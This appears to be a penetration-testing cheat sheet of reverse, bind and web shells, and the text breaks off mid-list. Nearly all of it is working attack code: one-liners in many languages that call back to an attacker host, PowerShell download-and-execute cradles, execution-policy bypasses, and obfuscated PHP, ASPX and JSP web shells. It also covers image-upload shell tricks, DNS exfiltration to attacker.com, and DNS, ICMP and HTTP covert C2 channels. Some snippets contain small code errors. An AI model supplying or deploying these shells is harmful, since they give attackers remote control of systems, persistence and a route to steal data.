ᛉ Yggdrasil

Web

Reverse Shells & Web Shells

15 Sep 2026 · 4,080 words · 19 min

Contents

Legend: [REV] = Reverse shell | [BIND] = Bind shell | [WEB] = Web shell | [TTY] = TTY upgrade | [WIN] = Windows | [LIN] = Linux | [PHP] = PHP shell | [ASPX] = ASPX shell | [JSP] = JSP shell | [ENCRYPT] = Encrypted shell | [OBF] = Obfuscated


1. Shell Fundamentals

What it means: A reverse shell makes the TARGET connect back to the ATTACKER — bypassing inbound firewall rules. A bind shell opens a port ON the target and the attacker connects to it. Web shells are scripts uploaded to web servers that execute OS commands via HTTP requests.


1.1 Reverse vs Bind vs Web Shell

┌──────────────────────────────────────────────────────────────────────┐
│ REVERSE vs BIND vs WEB SHELL                                         │
├────────────────────────┬────────────────────────┬────────────────────┤
│ REVERSE SHELL          │ BIND SHELL             │ WEB SHELL          │
├────────────────────────┼────────────────────────┼────────────────────┤
│ Attacker               │ Attacker               │ Attacker           │
│ nc -lvnp 4444          │ nc TARGET 4444         │ curl http://...    │
│        ▲               │        │               │        │           │
│        │ connects      │        │ connects      │        │ HTTP      │
│        │ back          │        │ to target     │        │ request   │
│        │               │        ▼               │        ▼           │
│ Target ◄────────────── │ Target:4444            │ Web Server         │
│                        │                        │ shell.php?cmd=id   │
├────────────────────────┼────────────────────────┼────────────────────┤
│ Pros                   │ Pros                   │ Pros               │
│ • Bypass inbound FW    │ • No callback          │ • Persistent       │
│                        │                        │ • HTTP-based       │
│ Cons                   │ Cons                   │ Cons               │
│ • Needs outbound       │ • Blocked inbound FW   │ • Needs web access │
│                        │ • Exposed port         │ • Limited shell    │
└────────────────────────┴────────────────────────┴────────────────────┘

1.2 Listener Setup

# ─── Netcat listeners ───
nc -lvnp 4444                    # basic TCP listener
nc -lvnp 4444 -s 10.10.10.10    # bind to specific interface
rlwrap nc -lvnp 4444             # with readline (arrow keys work!)

# ─── Socat (best for fully interactive shells) ───
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0
# → Gives FULL TTY: tab completion, Ctrl+C, history!

# ─── Ncat (nmap's nc, supports SSL) ───
ncat -lvnp 4444
ncat --ssl -lvnp 4444            # SSL encrypted listener

# ─── Metasploit handler ───
msfconsole -x "use exploit/multi/handler; \
    set PAYLOAD windows/x64/meterpreter/reverse_tcp; \
    set LHOST 10.10.10.10; set LPORT 4444; exploit -j"

# ─── Multiple connections (persistent) ───
while true; do nc -lvnp 4444; done

2. Bash & Unix Reverse Shells

2.1 Bash

# ─── Standard ───
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

# ─── Background safe ───
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'

# ─── Redirect stderr too ───
0<&196;exec 196<>/dev/tcp/10.10.10.10/4444; sh <&196 >&196 2>&196

# ─── Read from /dev/tcp ───
exec 5<>/dev/tcp/10.10.10.10/4444; cat <&5 | while read line; do $line 2>&5 >&5; done

# ─── Base64 encoded (bypass filters) ───
# Encode:
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" | base64 -w0
# Execute:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC80NDQ0IDA+JjE=" | base64 -d | bash

2.2 sh / dash

# ─── POSIX sh (works even without bash) ───
sh -i >& /dev/tcp/10.10.10.10/4444 0>&1

# ─── Named pipe method ───
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f

# ─── Without /dev/tcp (older systems) ───
mknod /tmp/backpipe p; nc 10.10.10.10 4444 0</tmp/backpipe | /bin/sh 1>/tmp/backpipe 2>&1

2.3 Netcat Variants

# ─── nc with -e (traditional nc) ───
nc -e /bin/bash 10.10.10.10 4444
nc -e /bin/sh 10.10.10.10 4444

# ─── nc without -e (OpenBSD nc) ───
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f

# ─── ncat ───
ncat 10.10.10.10 4444 -e /bin/bash
ncat --udp 10.10.10.10 4444 -e /bin/bash    # UDP shell

# ─── Bind shell (nc) ───
nc -lvnp 4444 -e /bin/bash    # target listens
nc 10.10.10.10 4444            # attacker connects

2.4 Socat

# ─── Basic socat reverse shell ───
socat TCP:10.10.10.10:4444 EXEC:bash

# ─── Fully interactive PTY (BEST OPTION) ───
# Attacker listener:
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

# Victim:
socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
# → Tab completion, Ctrl+C works, arrow keys, full color!

# ─── Encrypted (TLS) socat ───
# Generate cert:
openssl req -newkey rsa:2048 -nodes -keyout shell.key \
    -x509 -days 365 -out shell.crt
cat shell.key shell.crt > shell.pem

# Listener:
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,reuseaddr FILE:`tty`,raw,echo=0

# Victim:
socat OPENSSL:10.10.10.10:4444,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane
# → Fully encrypted + interactive PTY!

3. Windows Reverse Shells

3.1 CMD Reverse Shells

:: ─── Netcat (if available on target) ───
nc.exe -e cmd.exe 10.10.10.10 4444
nc.exe -e powershell.exe 10.10.10.10 4444

:: ─── PowerShell download + exec nc ───
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/nc.exe','C:\Windows\Temp\nc.exe')"
C:\Windows\Temp\nc.exe -e cmd.exe 10.10.10.10 4444

:: ─── Telnet reverse shell ───
telnet 10.10.10.10 4444 | cmd.exe | telnet 10.10.10.10 4445
:: Attacker: nc -lvnp 4444 (commands) + nc -lvnp 4445 (output)

:: ─── WMIC ───
wmic process call create "cmd.exe /c nc.exe -e cmd.exe 10.10.10.10 4444"

:: ─── Certutil download + execute ───
certutil.exe -urlcache -split -f http://10.10.10.10/nc.exe %TEMP%\nc.exe
%TEMP%\nc.exe -e cmd.exe 10.10.10.10 4444

3.2 Windows Bind Shells

:: ─── CMD bind shell ───
nc.exe -lvnp 4444 -e cmd.exe

:: ─── Persistent bind (restart survives) ───
sc create bindshell binPath= "cmd /c nc.exe -lvnp 4444 -e cmd.exe"
sc start bindshell

4. PowerShell Reverse Shells

4.1 PowerShell TCP Shells

# ─── Full featured PS reverse shell ───
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

# ─── One-liner (compressed) ───
powershell -NoP -NonI -W Hidden -c "$c=New-Object Net.Sockets.TCPClient('10.10.10.10',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$rb=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($rb);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

# ─── Base64 encoded launcher ───
# Generate on Linux:
PAYLOAD='$c=New-Object Net.Sockets.TCPClient("10.10.10.10",4444);...'
echo "$PAYLOAD" | iconv -t UTF-16LE | base64 -w0
# Execute:
powershell -enc <BASE64>

# ─── NISHANG Invoke-PowerShellTcp ───
# https://github.com/samratashok/nishang
IEX(IWR -UseBasicParsing http://10.10.10.10/Invoke-PowerShellTcp.ps1)
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.10 -Port 4444

4.2 PowerShell Download Cradles

# ─── Method 1: WebClient ───
IEX(New-Object Net.WebClient).DownloadString("http://10.10.10.10/shell.ps1")

# ─── Method 2: IWR ───
IEX(IWR -UseBasicParsing "http://10.10.10.10/shell.ps1")

# ─── Method 3: HTTPS (bypass SSL cert check) ───
[Net.ServicePointManager]::ServerCertificateValidationCallback={$true}
IEX(New-Object Net.WebClient).DownloadString("https://10.10.10.10/shell.ps1")

# ─── Method 4: COM object (bypass proxy) ───
$c=New-Object -ComObject Msxml2.XMLHTTP
$c.open("GET","http://10.10.10.10/shell.ps1",$false)
$c.send()
IEX $c.responseText

# ─── Method 5: Reflection (bypass logging) ───
$a=[System.Reflection.Assembly]::Load(
    (New-Object Net.WebClient).DownloadData("http://10.10.10.10/shell.dll"))
$a.EntryPoint.Invoke($null,$null)

# ─── Method 6: certutil decode ───
certutil -urlcache -split -f http://10.10.10.10/shell.b64%TEMP%\s.b64
certutil -decode %TEMP%\s.b64%TEMP%\shell.exe

4.3 PowerShell Execution Policy Bypasses

# All methods to bypass execution policy:
powershell -ExecutionPolicy Bypass -File shell.ps1
powershell -ep bypass -c "..."
powershell -ExecutionPolicy Unrestricted -File shell.ps1
Set-ExecutionPolicy Bypass -Scope Process -Force   # within PS session

# EncodedCommand bypasses policy:
powershell -enc BASE64STRING

# Pipe bypass:
Get-Content shell.ps1 | PowerShell -NoProfile -

# Via cmd:
echo IEX(IWR http://10.10.10.10/s.ps1) | powershell -noprofile -

5. Language-Specific Reverse Shells

5.1 Python

# ─── Python3 reverse shell ───
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

# ─── One-liner (Linux) ───
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"

# ─── Python Windows ───
python3 -c "import socket,subprocess;s=socket.socket();s.connect(('10.10.10.10',4444));subprocess.call(['cmd.exe'],stdin=s,stdout=s,stderr=s)"

# ─── PTY shell (interactive) ───
python3 -c "import socket,subprocess,os,pty;s=socket.socket();s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')"

5.2 Perl

# ─── Perl reverse shell ───
use Socket;
$i="10.10.10.10";$p=4444;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
connect(S,sockaddr_in($p,inet_aton($i)));
open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/bash -i");

# ─── One-liner ───
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

# ─── Windows Perl ───
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

5.3 Ruby

# ─── Ruby reverse shell ───
require 'socket'
f = TCPSocket.open("10.10.10.10", 4444)
$stdin.reopen(f)
$stdout.reopen(f)
$stderr.reopen(f)
exec "/bin/bash -i"

# ─── One-liner ───
ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'

# ─── Windows Ruby ───
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

5.4 Java

// ─── Java reverse shell ───
import java.io.*;
import java.net.*;

public class RevShell {
    public static void main(String[] args) throws Exception {
        String host = "10.10.10.10";
        int port = 4444;
        String[] cmd = {"/bin/bash"};

        Process p = Runtime.getRuntime().exec(cmd);
        Socket s = new Socket(host, port);

        InputStream si = s.getInputStream();
        OutputStream so = s.getOutputStream();

        while (!s.isClosed()) {
            while (si.available() > 0)
                p.getOutputStream().write(si.read());
            while (p.getInputStream().available() > 0)
                so.write(p.getInputStream().read());
            while (p.getErrorStream().available() > 0)
                so.write(p.getErrorStream().read());
            so.flush();
            Thread.sleep(50);
            if (p.exitValue() >= 0) break;
        }
        p.destroy();
        s.close();
    }
}

// ─── One-liner via Runtime ───
// In script injection:
Runtime.getRuntime().exec("bash -c {echo,BASE64}|{base64,-d}|bash");

5.5 PHP (Reverse Shell)

<?php
// ─── Full PHP reverse shell ───
$ip   = '10.10.10.10';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/bash -i', [
    0 => $sock,
    1 => $sock,
    2 => $sock
], $pipes);

// ─── One-liner ───
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"); ?>

// ─── PHP Windows reverse shell ───
<?php
$sock = fsockopen("10.10.10.10", 4444);
$proc = proc_open("cmd.exe", [0=>$sock,1=>$sock,2=>$sock], $pipes);
?>

// ─── Pentest Monkey PHP reverse shell (classic, full) ───
// https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Change $ip and $port → upload → browse → get shell!

5.6 Go

package main

import (
    "net"
    "os/exec"
)

func main() {
    conn, _ := net.Dial("tcp", "10.10.10.10:4444")
    cmd := exec.Command("/bin/bash", "-i")
    cmd.Stdin  = conn
    cmd.Stdout = conn
    cmd.Stderr = conn
    cmd.Run()
}

// Compile (cross-compile for Windows from Linux):
// GOOS=windows GOARCH=amd64 go build -o shell.exe shell.go
// GOOS=linux GOARCH=amd64 go build -o shell shell.go

5.7 Lua

-- ─── Lua reverse shell ───
local socket = require("socket")
local host, port = "10.10.10.10", 4444
local tcp = socket.tcp()
tcp:connect(host, port)
while true do
    local cmd, status = tcp:receive()
    local f = io.popen(cmd, 'r')
    local s = f:read('*a')
    f:close()
    tcp:send(s)
    if status == "closed" then break end
end
tcp:close()

5.8 Awk

# ─── AWK reverse shell ───
awk 'BEGIN {
    s = "/inet/tcp/0/10.10.10.10/4444";
    while(42) {
        do{ print "$ " |& s; s |& getline c;
            while ((c |& getline) > 0) print |& s; close(c)
        } while(c != "exit")
    }
}'

# One-liner:
awk 'BEGIN{s="/inet/tcp/0/10.10.10.10/4444";for(;;){print "$ "|&s;s|&getline c;while((c|&getline)>0)print|&s;close(c)}}'

5.9 NodeJS

// ─── Node.js reverse shell ───
(function(){
    var net = require("net"),
        cp  = require("child_process"),
        sh  = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(4444, "10.10.10.10", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

// ─── One-liner ───
node -e '(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/bash",[]);var c=new net.Socket();c.connect(4444,"10.10.10.10",function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)});return /a/})()'

// ─── Windows ───
node -e "(function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('cmd.exe',[]);var c=new net.Socket();c.connect(4444,'10.10.10.10',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)});})()"

6. TTY Upgrade & Shell Stabilization

What it means: Raw netcat shells are unstable — Ctrl+C kills the shell, arrow keys produce garbage, tab completion doesn't work, passwords aren't hidden. A full TTY upgrade solves ALL of these by spawning a proper pseudo-terminal.


6.1 Python PTY Method (Most Common)

# ─── Step 1: Spawn PTY on victim ───
python3 -c "import pty; pty.spawn('/bin/bash')"
# OR if python3 not available:
python -c "import pty; pty.spawn('/bin/bash')"
# OR:
script -qc /bin/bash /dev/null

# ─── Step 2: Background the shell (Ctrl+Z) ───
# Press: Ctrl + Z
# → Shell suspended, back to YOUR terminal

# ─── Step 3: Fix terminal settings ───
stty raw -echo; fg
# 'stty raw -echo' → pass raw keystrokes to shell
# 'fg'             → bring shell back to foreground

# ─── Step 4: Fix terminal size ───
export TERM=xterm-256color
export SHELL=bash
# Get your terminal size:
stty size         # on your local terminal → e.g., "50 230"
# Set it in shell:
stty rows 50 cols 230

# ─── Result: FULL interactive shell! ───
# ✓ Ctrl+C works (kills remote commands, NOT your shell)
# ✓ Tab completion works
# ✓ Arrow keys work
# ✓ Password prompts work
# ✓ vim/nano work!

6.2 Socat PTY Method (Best)

# ─── On attacker ───
socat TCP-LISTEN:4444,reuseaddr FILE:`tty`,raw,echo=0

# ─── On victim ───
# Upload socat OR use static binary:
wget http://10.10.10.10/socat -O /tmp/socat && chmod +x /tmp/socat
/tmp/socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

# → Instant fully interactive TTY, no extra steps needed!

6.3 Other Spawn Methods

# ─── Other ways to spawn PTY ───
script -qc /bin/bash /dev/null          # script binary
/usr/bin/script -qc /bin/bash /dev/null

# Via Ruby:
ruby -e 'require "pty"; PTY.spawn("/bin/bash")'

# Via Perl:
perl -e 'exec "/bin/bash";'

# Via find:
find / -name shell -exec /bin/bash \;

# Via expect:
expect -c "spawn /bin/bash; interact"

# Via vi/vim (escape to shell from editor):
# In nc shell: vi → :!bash → full TTY!

7. PHP Web Shells

7.1 Minimal PHP Web Shells

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['c']); ?>
<?php echo exec($_REQUEST['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo `$_GET[cmd]`; ?>   <!-- backtick operator -->

<!-- Usage: http://target.com/shell.php?cmd=id -->
<!-- Result: uid=33(www-data) gid=33(www-data) groups=33(www-data) -->
<?php
// ─── Multi-method PHP shell (fallback chain) ───
function run($cmd) {
    $output = '';
    if (function_exists('system')) {
        ob_start(); system($cmd); $output = ob_get_clean();
    } elseif (function_exists('passthru')) {
        ob_start(); passthru($cmd); $output = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } elseif (function_exists('exec')) {
        exec($cmd, $out); $output = implode("\n", $out);
    } elseif (function_exists('popen')) {
        $fp = popen($cmd, 'r');
        while (!feof($fp)) $output .= fgets($fp);
        pclose($fp);
    } elseif (function_exists('proc_open')) {
        $proc = proc_open($cmd,
            [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']], $pipes);
        $output = stream_get_contents($pipes);[1]
        proc_close($proc);
    }
    return $output;
}

if (isset($_REQUEST['cmd'])) {
    echo "<pre>" . htmlspecialchars(run($_REQUEST['cmd'])) . "</pre>";
}
?>

7.3 PHP Web Shell with File Upload

<?php
// ─── Shell + file upload capability ───
if (isset($_POST['upload'])) {
    $dest = $_POST['dest'] ?? '/var/www/html/uploads/';
    move_uploaded_file($_FILES['file']['tmp_name'], $dest . $_FILES['file']['name']);
    echo "Uploaded: " . $dest . $_FILES['file']['name'];
}

if (isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd']);
}
?>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="text" name="dest" value="/var/www/html/">
    <input type="submit" name="upload" value="Upload">
</form>

7.4 Obfuscated PHP Web Shells

<?php
// ─── Base64 obfuscation ───
eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7"));
// Decodes to: system($_GET['cmd']);

// ─── Variable function call ───
$f = 'sys'.'tem';
$f($_GET['cmd']);

// ─── chr() obfuscation ───
$f = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
// = "system"
$f($_GET['cmd']);

// ─── Double obfuscation ───
$x = str_rot13('flfgrz');   // rot13 of "system"
$x($_GET[base64_decode('Y21k')]);  // base64 of "cmd"

// ─── Eval + gzip ───
eval(gzinflate(base64_decode("Ky/KLEnV...")));

// ─── Preg replace (old PHP trick) ───
preg_replace('/.*/e', 'system("id");', '');
// /e flag → evaluates replacement as PHP (removed in PHP 7!)

7.5 Known PHP Web Shell Tools

# ─── p0wny-shell (beautiful terminal UI in browser) ───
# https://github.com/flozz/p0wny-shell
# Upload p0wny.php → browse → get browser-based terminal!

# ─── b374k (full featured with password) ───
# https://github.com/b374k/b374k
# PHP shell with: file manager, execute, network, DB, config

# ─── weevely (steganographic PHP shell) ───
# Generates hard-to-detect PHP agent:
weevely generate P@ss123 shell.php
# → Upload shell.php
# Connect:
weevely http://target.com/uploads/shell.php P@ss123
# → Interactive shell over HTTP with encrypted comms!

# ─── c99, r57 (classic shells) ───
# Full-featured with file browser, SQL client, network scanner
# Search: "c99.php", "r57.php" on GitHub

8. ASPX / ASP Web Shells

8.1 ASPX Web Shells

<!-- ─── Minimal ASPX shell ─── -->
<%@ Page Language="C#" %>
<%
    System.Diagnostics.Process proc = new System.Diagnostics.Process();
    proc.StartInfo.FileName = "cmd.exe";
    proc.StartInfo.Arguments = "/c " + Request["cmd"];
    proc.StartInfo.UseShellExecute = false;
    proc.StartInfo.RedirectStandardOutput = true;
    proc.Start();
    Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
    proc.WaitForExit();
%>

<!-- Usage: http://target.com/shell.aspx?cmd=whoami -->
<!-- ─── Full ASPX shell with better output ─── -->
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
    void Page_Load(object sender, EventArgs e) {
        string output = "";
        if (Request.Params["cmd"] != null) {
            Process p = new Process();
            p.StartInfo.FileName = "cmd.exe";
            p.StartInfo.Arguments = "/c " + Request.Params["cmd"];
            p.StartInfo.UseShellExecute = false;
            p.StartInfo.RedirectStandardOutput = true;
            p.StartInfo.RedirectStandardError = true;
            p.Start();
            output = p.StandardOutput.ReadToEnd();
            output += p.StandardError.ReadToEnd();
            p.WaitForExit();
        }
        Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");
    }
</script>

8.2 Classic ASP Web Shells

<!-- ─── Classic ASP (IIS 5/6) ─── -->
<%
    Set oS = Server.CreateObject("WSCRIPT.SHELL")
    Call oS.Run("cmd.exe /c " & Request.Form("cmd") & " > c:\inetpub\wwwroot\out.txt", 0, True)
    Set oF = CreateObject("Scripting.FileSystemObject").OpenTextFile("c:\inetpub\wwwroot\out.txt")
    Response.Write "<pre>" & oF.ReadAll & "</pre>"
    oF.Close
%>
<form method="post">
    <input type="text" name="cmd">
    <input type="submit" value="Run">
</form>
<!-- ─── ASP one-liner ─── -->
<%eval request("cmd")%>
<!-- Usage: POST cmd=response.write(createobject("wscript.shell").exec("whoami").stdout.readall) -->

8.3 ASPX Reverse Shell

<!-- ─── ASPX full reverse shell ─── -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<script language="C#" runat="server">
    void Page_Load(object sender, EventArgs e) {
        string host = "10.10.10.10";
        int port = 4444;
        using (var client = new TcpClient(host, port)) {
            var stream = client.GetStream();
            using (var process = new System.Diagnostics.Process()) {
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardInput = true;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                process.StandardInput.AutoFlush = true;

                var stdin  = process.StandardInput;
                var stdout = process.StandardOutput;

                System.IO.StreamWriter sw = new System.IO.StreamWriter(stream);
                System.IO.StreamReader sr = new System.IO.StreamReader(stream);

                string cmd;
                while ((cmd = sr.ReadLine()) != null) {
                    stdin.WriteLine(cmd);
                    sw.WriteLine(stdout.ReadLine());
                    sw.Flush();
                }
            }
        }
    }
</script>

9. JSP Web Shells

9.1 JSP Web Shells

<%-- ─── Minimal JSP shell ─── --%>
<%@ page import="java.util.*,java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process proc = Runtime.getRuntime().exec(
            new String[]{"/bin/bash", "-c", cmd});
        InputStream is = proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader br = new BufferedReader(isr);
        String line;
        out.println("<pre>");
        while ((line = br.readLine()) != null)
            out.println(line);
        out.println("</pre>");
    }
%>
<%-- ─── JSP shell with Windows/Linux detection ─── --%>
<%@ page import="java.util.*,java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        boolean isWin = System.getProperty("os.name").toLowerCase().contains("win");
        String[] exec = isWin
            ? new String[]{"cmd.exe", "/c", cmd}
            : new String[]{"/bin/bash", "-c", cmd};
        Process proc = Runtime.getRuntime().exec(exec);
        out.print("<pre>");
        Scanner sc = new Scanner(proc.getInputStream());
        while (sc.hasNextLine()) out.println(sc.nextLine());
        sc = new Scanner(proc.getErrorStream());
        while (sc.hasNextLine()) out.println(sc.nextLine());
        out.print("</pre>");
    }
%>

9.2 JSP Reverse Shell

<%@ page import="java.io.*,java.net.*" %>
<%
    String host = "10.10.10.10";
    int port = 4444;
    String[] cmd = {"/bin/bash"};

    Socket socket = new Socket(host, port);
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream  pis = process.getInputStream();
    OutputStream pos = process.getOutputStream();
    InputStream  sis = socket.getInputStream();
    OutputStream sos = socket.getOutputStream();

    new Thread(() -> {
        try {
            byte[] b = new byte;
            int n;
            while ((n = sis.read(b)) > 0) pos.write(b, 0, n);
        } catch (IOException e) {}
    }).start();

    byte[] b = new byte;
    int n;
    while ((n = pis.read(b)) > 0) sos.write(b, 0, n);

    socket.close(); process.destroy();
%>

10. Other Web Shells

10.1 Python Web Shell (CGI)

#!/usr/bin/env python3
# ─── Python CGI web shell ───
import cgi, os, sys

print("Content-Type: text/html\r\n\r\n")

form = cgi.FieldStorage()
cmd  = form.getvalue("cmd", "id")

print("<pre>")
print(os.popen(cmd).read())
print("</pre>")

10.2 Perl Web Shell (CGI)

#!/usr/bin/perl
# ─── Perl CGI web shell ───
use CGI;
my $q   = CGI->new;
my $cmd = $q->param('cmd') || 'id';

print $q->header('text/html');
print "<pre>";
print `$cmd`;
print "</pre>";

10.3 Ruby Web Shell (CGI)

#!/usr/bin/ruby
# ─── Ruby CGI web shell ───
require 'cgi'
cgi = CGI.new
cmd = cgi['cmd'] || 'id'
puts "Content-Type: text/html\r\n\r\n"
puts "<pre>#{`#{cmd}`}</pre>"

10.4 Cold Fusion Web Shell (.cfm)

<!--- ColdFusion web shell --->
<cfset cmd = #url.cmd#>
<cfexecute name="cmd.exe" arguments="/c #cmd#"
    variable="output" timeout="10" />
<cfoutput><pre>#output#</pre></cfoutput>

10.5 Shell in Image (PHP + JPEG bypass)

<?php
// Upload as image.php.jpg or image.gif (double extension / null byte trick)
// EXIF comment in JPEG:
// exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
// mv image.jpg image.php.jpg  → upload to file upload field

// Add PHP to valid image:
// 1. Create valid GIF:
// GIF89a <?php system($_GET['cmd']); ?>
// 2. Upload as .gif → if server executes it = RCE!

11. Encrypted & Evasive Shells

11.1 SSL/TLS Encrypted Reverse Shell

# ─── OpenSSL encrypted reverse shell ───
# Generate cert:
openssl req -x509 -newkey rsa:4096 -keyout key.pem \
    -out cert.pem -days 365 -nodes -subj '/CN=shell'

# Listener (attacker):
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Victim (reverse shell):
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | \
    openssl s_client -quiet -connect 10.10.10.10:4444 > /tmp/s; rm /tmp/s

# ─── One-liner victim ───
openssl s_client -quiet -connect 10.10.10.10:4444 | /bin/bash | \
    openssl s_client -quiet -connect 10.10.10.10:4445
# Dual-port: 4444 for commands, 4445 for output

11.2 DNS Reverse Shell (Firewall Bypass)

# ─── DNS shell — outbound DNS allowed everywhere! ───
# Tool: dnscat2

# Server (attacker):
ruby dnscat2.rb --dns "domain=shell.attacker.com,host=0.0.0.0"

# Victim:
./dnscat --secret=PASSWORD shell.attacker.com
# → Shell commands tunneled over DNS queries!
# → Almost never blocked by firewalls!

# ─── Manual DNS shell via bash ───
# Data exfil via DNS:
data=$(whoami | xxd -p)
nslookup $data.attacker.com

11.3 ICMP Reverse Shell

# ─── Shell over ICMP (ping packets!) ───
# Tool: icmpsh

# Attacker:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 10.10.10.10 10.10.10.20

# Victim:
./icmpsh.exe -t 10.10.10.10
# → Command shell over ICMP echo requests!
# → Bypasses firewalls that allow ping!

11.4 HTTP/S Reverse Shell (C2 Style)

# ─── HTTP-based shell (polling, looks like web browsing) ───
# Victim polls attacker HTTP server for commands:

import requests, subprocess, time

SERVER = "http://10.10.10.10:8080"

while True:
    try:
        cmd = requests.get(f"{SERVER}/cmd", timeout=5).text
        if cmd and cmd != "NOP":
            out = subprocess.check_output(cmd, shell=True,
                stderr=subprocess.STDOUT).decode()
            requests.post(f"{SERVER}/output", data={"out": out})
    except:
        pass
    time.sleep(5)

# Attacker C2 server (Flask):
# GET /cmd    → serve pending command
# POST /output → receive output
# → Traffic looks like normal HTTP!

12. Complete Cheat Sheet

12.1 One-Line Reverse Shell Quick Reference

# ── LINUX ──────────────────────────────────────────────────────────

# Bash:
bash -i >& /dev/tcp/IP/PORT 0>&1

# Bash (safer wrapper):
bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

# Bash base64:
echo BASE64 | base64 -d | bash

# sh (named pipe):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc IP PORT>/tmp/f

# nc (with -e):
nc -e /bin/bash IP PORT

# nc (without -e):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP PORT>/tmp/f

# socat (best):
